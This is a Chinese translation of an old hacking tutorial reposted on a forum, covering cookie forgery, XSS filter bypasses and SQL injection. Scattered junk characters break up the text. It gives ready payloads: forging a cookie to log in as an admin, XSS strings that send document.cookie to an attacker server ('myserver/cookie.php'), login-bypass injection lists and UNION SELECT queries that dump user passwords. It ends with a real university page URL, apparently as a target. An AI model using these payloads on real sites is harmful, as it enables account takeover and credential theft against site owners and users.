XSS & SQL注入

admin

XSS & SQL注入
: R) C3 z6 ?9 F! E文章作者：CyberPhreak
译文作者：黯魂 [S.S.T]
; {9 W. k; C: Q7 W; l

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
9 p, e# F9 J  q# y. K. T1 ~X Web Security - XSS & more X
# q' `$ l8 ~9 B2 y# [$ b3 CXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
1 X, Y  O$ F# ]1 w1 H
, u( i+ h  I6 D, B3 e, d
~介绍
5 |5 D/ W2 N7 u4 t. u( Y
/ }& a; F! e' p. \3 y- A在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

XXXXXXXXXXXXXXXXXXXXX
3 A6 X6 D8 `* G1 y9 r% VX Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
- ]4 q1 T7 v  H6 D' k5 p' a3 HX Cookie Editing X
8 T7 U  M+ X% y/ X+ ^2 @. UX XSS X
" H7 D0 J% N% c, S5 IX SQL Injection X
4 Q0 h1 Y" p" [& RXXXXXXXXXXXXXXXXXXXX
; k: ?0 }3 {2 x4 M/ o9 N
' Y0 k) R' Y; {5 g) `' i/ K6 S5 |~什么是cookie

cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
( V2 Y0 b" D$ }
& z4 Y, C3 v5 h; u~警告&欺骗
& h% I8 g( L0 x( F( u9 m8 o
9 a# }: ^( H# M+ }5 d% m& |  @; \. }那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
: [, G; G& o" A" ?
strusername=cnsst;strpassword=cnsst
" Q8 F# z4 W  [& a- `  ~& m
& N+ y5 J4 g( ~: @6 m此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
7 g; T3 s5 @" y7 J# Q0 V现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...
1 G8 H+ a) Z/ R" J9 A0 `! A$ O
0 Y4 F1 K& E% r* h  D~什么是XSS

# e7 b6 V& v7 L0 ~8 mXSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

" k9 Y9 M5 _; @~为什么使用XSS
3 P# W" J$ {) H# u
很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.
8 r1 z. I1 @( m3 b
+ L9 g* ^, W9 t! Q9 P9 e7 p~让我们开始吧…
8 H% A& A7 Q' y' g
我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

XSS--跨站脚本&lt;html&gt;

&lt;body&gt;

) e. C0 b5 }) q( W0 ^- b. L" A&lt;form action="" method="GET"&gt;

- v! ~  S5 ^+ _1 {&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

Script: &lt;input name="name" type="name"&gt;
/ N; R- h4 F6 l' l8 Z1 o
, K, q: _" u2 }# s&lt;input type="submit" value="submit"&gt;
3 S5 c2 i6 s5 E* |8 q) M5 J
5 \* G/ Y$ u' k* i&lt;/form&gt;
2 a/ o/ b! F7 b8 G3 x8 C0 \$ D
&lt;/body&gt;

3 W) @3 Q: L0 p. F% y&lt;/html&gt;
$ v' H4 g* d) e8 @
4 Z! B4 [& [1 ^( _* t9 j+ P
6 k- M  B$ W" |: h4 \' O$ _
5 b5 B9 U4 Q/ f1 m5 s3 z4 t&lt;?php

$name = $_GET['name'];

2 S2 ~0 [- y1 i/ vecho("Hello $name");
8 F) I; [. {" r7 \9 h
?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

0 t! b  @0 Q9 ^cnsst
"Hello cnsst!"
4 z( C4 i" z- y+ V1 i' ~! |
引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>

7 O* S" C3 D! h那么它将会弹出document.cookie!所以它是易受XSS攻击的!
# u& R" ^$ j" _6 _( ?0 V6 G5 b
( y  [' _& c5 L  s  C现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...
' w* K$ }: {+ e5 ^# e  O
服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
- p7 s2 A. m+ g- K6 V
0 F; R4 T2 f4 D/ b1 h" C$ b( ^* v已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

: ?# O, \5 T6 d, [% C; J1 ]" N让我们看一个稍微复杂点的例子!

" z2 Y% ~2 ]7 X6 J; Z  y假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
6 j7 x- m$ X, Iscriptalert(document.cookie)/script
, s- s' e; n$ R3 {3 V& a' ^或者可能是这样的:
) F, z9 J3 T/ jscriptalertdocument.cookie/script

可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
" f+ K' n# s% G$ p; I% W) n
0 b. @& u2 z7 i1 f让我们继续利用:
9 K+ ?( u: T% y7 V! m8 D( d<<script>>alert(document.cookie)<</script>>

你的输出将弹出document.cookie.
, P3 @" B# O5 D  U
现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>
, q6 b8 ~& {( N1 E8 f' Y# l4 \
3 S$ _) V. i2 F! G- }
他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
, M6 m! B  ^; B5 U  y3 Z或者 <<<script>>>alert(document.cookie)<<</script>>>  

- j) F  S3 m7 V- S% L4 Y他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>
4 \  l6 X; A: T3 B
输出像这样:srplert(document.cookie)srp

; C3 u; f% \5 ]+ X. f. M; C7 ]仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
5 }1 x7 b- p; G, u4 H
% H# y/ V1 j- E0 i所有重复多余的部分刚好被替换!现在让我们来点更高级的!

+ i8 T, _9 x, z& O# G; K. z这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>
& S# C$ @* \& G
输出将是:
0 d/ d4 D* K7 t" escriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>
4 _, s0 W% j- D& a. G( k/ o" i
/ E, \3 ]3 @7 x9 r% C# J输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
( p" A7 t9 L- ?8 u3 g3 D- h
  |! C/ W) C0 @6 Y5 E, ~# ?2 _5 v/ x<
script
1 a2 {8 y7 U% }5 ]/ A>
alert
(
; q9 |9 Y" ]& m# S  o& y$ udocument
.
cookie
)
<
# Z1 U6 k' y% x, L4 u  m+ _) H/
: g# d5 J2 [: ^/ Q. C. t( n: r5 T/ {+ sscript
6 F6 R7 o) p: G) ]& E>
& r: m/ b- x) r" `8 U
& x" c/ B: ?! r  d% x
看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
+ H7 U+ q- A  ^- u<
0 ]- s; `) |9 o" ts
/ M% P/ x! b2 X, b# u6 gc
# I6 _$ h& t4 H( yr
& D) u8 U% O% w. U9 t  }. hi
p
3 {  q: V2 o8 I, j) m: V9 A& _t
>
7 F7 u' Z$ G: w: Y$ b+ D: G- y/ M- ^a
, D) c' a! T, i2 xl
( A! y2 r  k& Y6 c: Z' U/ }e
r
- c5 Q$ o/ C0 D7 Lt
(
* e. A" e2 Q, n' W: R4 yd
o
c
5 }2 ]3 E  i* y( Mu
m
e
n
& ~+ }1 }# }6 V" O' {t
! R* z: |8 \: g# X, ^, f.
, W9 p3 L/ v  o8 U* O* v6 Ec
o
# Z' Q  @  T/ H: A0 so
. X6 h+ D0 f- Z. O% a5 E  h. l, Pk
i
" S" o8 _% w$ _* ~! be
)
<
/
s
% v# ^$ m; C: |8 q1 j8 ]6 P6 g6 Kc
. d: I/ o$ [, ]! O+ l5 ?r
i
p
8 C3 r, b4 P3 B$ ?% V! Wt
/
>
6 Z$ Y' Y3 s% Y  `
. W& ^9 m( ~) j这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
/ `* w4 q* L% s* v
还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.
- B. y2 U0 i# @6 ^
现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.

, F* k: L& ?6 Q) K首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.
% f1 S6 y- ^! i0 \
我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
- K, M) y& B) n' ?& `  F! Jdocument.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

: g7 r. ?/ ~* A# f6 W- Q再次假设你在网站上注册了一个帐号,并且可以自定义资料...
4 G0 l# Z5 f& G) N$ w: S" `document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
" @3 h- m% }: w) m) Y0 `. S9 cjavascript:location.href="http://myserver/cookie.php"+document.cookie
; t* h: x: p3 k' l这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
$ B* P8 h8 N8 i& [% Z8 |0 ~
有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
5 c; m/ _! Q2 Q. G$ S: m) A, vUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
~什么是SQL注入
1 ~- [8 z% A; \: n
  Z+ S" P+ l3 X+ N, N; eSQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;

! h4 e; R. T4 I# r: |5 f0 S3 ^&lt;body&gt;

: N1 m  `7 D. R' Z+ o&lt;form action="" method="POST"&gt;

Username: &lt;input name="name" type="name"&gt;
1 s1 _, l! N- y# m
Password: &lt;input name="password" type="password"&gt;
8 o  \$ Q; v" z  E' I) w9 \
&lt;input type="submit" type="submit" value="Submit"&gt;
: s$ t1 m3 g% p
  g; i  @1 x" [5 S7 m&lt;/form&gt;

* m# \& T) n# M&lt;/body&gt;

3 G+ h4 L: x# W9 }) @/ F&lt;/html&gt;
复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
  j/ x) P* X, a: t- W8 `
最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.
0 b. j4 [3 U! t. {' ?3 x$ ^7 j
'='
! \3 |2 X4 y/ Y+ M'OR 1=1--
8 P, @  l7 h9 r0 C+ o'OR a=a--
'OR'
, Y  l: Q) G' B$ E2 [% I
自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

'OR''='
3 t5 }% ?0 x7 t: H' r'OR"="
( l2 _  _& |  s3 ?# T; u'OR'="
'OR '="
/ Y9 \" i2 O" X( c- ^8 r'OR "='
7 ?* _1 T$ I& g8 g$ y/ R'OR ''='
2 @" X( K$ v+ T1 \9 x'OR '=''
'OR "=''
7 T6 F6 y% M( D9 A'OR ''="

. W' e! {2 Z8 k4 ~+ h( G
# J) |- Q; d! w( U) \~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
- t2 Q& G- e3 E& JUNION ALL SELECT username,password FROM users WHERE username='OR "='
0 M8 ?2 ?7 H$ w& a1 d% c$ ?AND password='OR "='

1 A. O, E; E9 x你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
! R# T# ]2 ^0 D" h. RUNION ALL SELECT
9 r+ |$ @$ @$ Iip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="

% R) s5 u& G/ u现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
3 p( S, @8 g% \http://example.com/index.php?article='
7 k, A5 n# w4 W: B) R

现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
7 ]( Z$ w5 N% qhttp://example.com/index.php?article='
http://example.com/index.php?article='='
) x6 C6 C* h5 a" v) K7 S# T+ Shttp://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
. Y1 P- c0 \8 g4 Y8 ^http://example.com/index.php?article='OR "='
1 N- O$ @0 C2 t* F* W' a8 l9 Ghttp://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
http://example.com/index.php?article='OR''='
# @+ T+ y7 S5 @- U3 Q& B& _http://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='
, }( D' Z& c( }3 G$ S# u- |* V
尽情发挥自己的创造力!
) X: e5 e. G; z$ N  a' u* L5 rhttp://www.ie.tsinghua.edu.cn/notice/show.php?id=704